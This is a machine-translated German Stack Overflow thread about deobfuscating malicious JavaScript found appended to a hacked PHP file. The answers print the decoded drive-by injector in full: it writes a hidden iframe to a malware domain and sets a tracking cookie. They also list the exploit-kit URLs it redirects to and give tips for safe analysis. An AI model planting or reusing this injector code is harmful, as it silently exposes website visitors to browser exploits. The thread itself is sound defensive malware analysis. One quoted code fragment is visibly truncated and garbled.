Frage

Ich habe einig Code bekommt, der am Ende einer PHP-Datei war, die in Javascript ist. Es geht durch viele seltsame Verrenkungen wie hex Umwandlung in ASCII dann regex Ersatz zu tun, die Ausführung von Code und so weiter ...

Gibt es eine Möglichkeit, um herauszufinden, was es ausführt, bevor er es tatsächlich tut?

Der Code ist hier:

http://pastebin.ca/1303597

War es hilfreich?

Lösung

Sie können nur durch sie gehen Schritt für Schritt - da es Javascript ist, und es wird interpretiert, muss es seine eigene Entschlüsselungsvorrichtung sein. Wenn Sie Zugriff auf eine Befehlszeile Javascript-Interpreter (wie die Konsole in Firebug ), wird dies recht sein einfach.

Ich werde mal schauen und sehen, was kommt.

Bearbeiten Ich habe durch das meiste davon bekommt - es scheint, wie der letzte Schritt nicht-trivial ist, wahrscheinlich, weil es „argument.callee“ beinhaltet. Auf jeden Fall habe ich , was ich habe bisher auf Pastebin.

Interessanterweise fand ich das härteste Teil dieser die Kauderwelsch Variablen richtigen Namen gab. Es erinnerte mich an ein Kreuzwort oder Sudoku, wo Sie wissen, wie die Dinge im Zusammenhang, aber Sie können etwas nicht endgültig vergeben, bis Sie herausfinden, was von ihr abhängigen Teile sind. :-) Ich bin sicher, dass, wenn jemand den Algorithmus erkennt sie die Teile sinnvoller Namen geben, aber auf etwas, wo viele XORing es los, gibt es zwei temporäre Variablen, die ich als ihre Standardnamen gerade verlassen haben da ich weiß nicht genug Kontext ihnen nützlichen zu geben.

Endgültigen bearbeiten : Der ‚arguments.callee‘ Bit wurde leicht, als ich merkte ich gerade im Rohtext passieren könnte, das würde ich ironisch gerade Decodierung (es ist eine ziemlich clevere Technik, so dass normale deobfuscation wird, weil natürlich nicht funktionieren, wenn Sie die Variablen umbenennen, etc, ist der Wert verschieden). Wie auch immer, hier ist Ihr Skript in voller Länge:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Im Grunde sieht es aus wie es von Malware von axa3.cn. lädt Die Website wird allerdings durch den ISP bereits vermutet, so nicht sagen, was oben tatsächlich da war und darüber hinaus allgemeine Schlechtigkeit.

(Wenn jemand interessiert ist, war ich mit Pastebin als pseudo-VCS für die wechselnden Versionen des Codes, so können Sie sehen, ein weiterer Zwischenschritt , ein wenig nach meiner ersten Post bearbeiten. Es war ziemlich interessant, die verschiedenen Schichten der Verschleierung zu sehen und wie sie geändert.)

Andere Tipps

Während Sie manuell entschlüsseln kann, kann es schnell langweilig, wenn Sie viele Stadien der Dekodierung haben. Ich in der Regel eval ersetzen / schreiben jeden Schritt, um zu sehen:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Doch diese besondere Skript wird durch gezielte Inspektion von window.eval gegen diese geschützt. Die Verwendung von arguments.callee bedeutet auch das Skript beruht auf einem Function.toString Format des bestimmten Browser, in diesem Fall IE - es wird nicht auf anderen Browsern funktioniert. Sie können Abhilfen in der Ersatz-Funktion eval setzen das Skript zu geben, was es in diesem Fall erwartet, aber es ist immer noch ein wenig Schmerzen.

Sie könnten den Script-Debugger verwenden, um den Code zu Schritt, oder das, was ich in diesem Fall tat, war der Code zu ermöglichen, in einer virtuellen Maschine ohne Vernetzung zu laufen, dass ich abschreiben leisten konnte. Durch die bei document.body.innerHTML Suche nach dem Code ausgeführt hatte, fand ich es ein unsichtbares iframe hinzugefügt zeigte auf:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

, welche Umleitungen an:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

, die unter geeigneten Bedingungen in IE betrachtet, gibt Ihnen eine Last von Exploits. Sie gehen nicht auf diese URLs .

Kurz gesagt Ihr Server durch axa3.cn gehackt wurde, eine der viele chinesischen gehosteten aber russisch-betriebenen Malware Banden in Betrieb zur Zeit.

Schreiben Sie einfach ein Perl-Skript oder etwas, das alle Hex-Zeichen ändert entkam in ASCII? Dann schauen Sie durch die regexs zu sehen, was genau passiert, und das gleiche zu tun mit Ihrem Perl / was auch immer Skript.

Sie können die Firebug-Konsole versuchen und brechen Stück für Stück nach unten. Als Start:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

maskiert nur die "eval" -Funktion als "jQuery"

Die einfachste Ansatz wäre zu einfach, ein einfaches C-Programm verwenden, um die entkam Hex-Zeichen in lesbaren Text zu umwandeln etwa so:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

, welche liefert dieses (I hinzugefügt Formatierung). Ich lasse Sie den letzten Teil erfolgreich abgeschlossen werden, die mehr von den gleichen zu sein scheint.

sehr sorgfältig - wenn jemand auf diese viel Mühe wird, den Code zu verschleiern, ist es wahrscheinlich eine Art von Angriff Skript

Sie können geben die Ergebnisse der Ausführung in Stufen eine lokale HTML-Datei verwenden, und nehmen Sie ein Stück zu einer Zeit

dies zu tun, erhalte ich:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

was ergibt

jQuery=eval(window.eval);

, die, wie crescentfresh beobachtet, was die Variable jQuery an die window.eval Funktion bindet.

Der nächste Abschnitt versucht offensichtlich etwas in Hex-Code eval, also lassen Sie uns sehen, was die String-Hex-Code sieht aus wie (manuell für Präsentationszwecke neu formatiert):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

und jetzt haben wir einen maskierten String am Ende bekommen, mal sehen, was in ist dort mit unescape (für die Präsentation gekürzt):

30248118GA0 * l: WRG: NT9 * 82:) 7Z \ uF% * {...

Ehrlich gesagt, ich bin gelangweilt dieses auseinander nehmen, so stattdessen abgeladen ich es in eine lokale HTML-Datei aus dem Internet getrennt, geöffnet firefox, Javascript, geladen, um die Datei in firefox, auf firebug gedreht, neu geladen, die Seite so es laufen würde, und inspizierte das DOM.

das Skript erstellt einen IFRAME mit SRC auf [Aus Sicherheitsgründen geändert!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn ist eine chinesische Domäne auf der schwarzen Liste von Malware

Ich weiß, es ist nicht die Antwort, aber in der Regel (wo ive diese irgendwie Sachen gesehen), werden sie so angeordnet, dass, wenn diese Linie ist nicht ausgeführt, die alle das Skript stoppt. Warum tun sie das? Nun Coz sie drucken, deren Urheberrecht auf das Skript (oder mehr in der Regel eine Vorlage).

Wenn die Leute geht an all die Mühe für Sie Anerkennung geben, weil sie ein Entfernen Copyright-Lizenz zu tun haben, würde ich dafür zu bezahlen es empfehlen, da auch wenn Sie „Reverse Engineering“ das, sie können (und haben) andere Wege zu überprüfen, ob Ihre Lizenz zutrifft. (Einige dieser Software tatsächlich eine Art von Nachricht senden, wenn Sie das tun).

Aber, bevor ich jede Art von Flamme zu bekommen, ich stimme seine interessanten in dieser Art von Wertpapieren zurück zu gehen und den ursprünglichen Code bekommen und bricht es =)

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top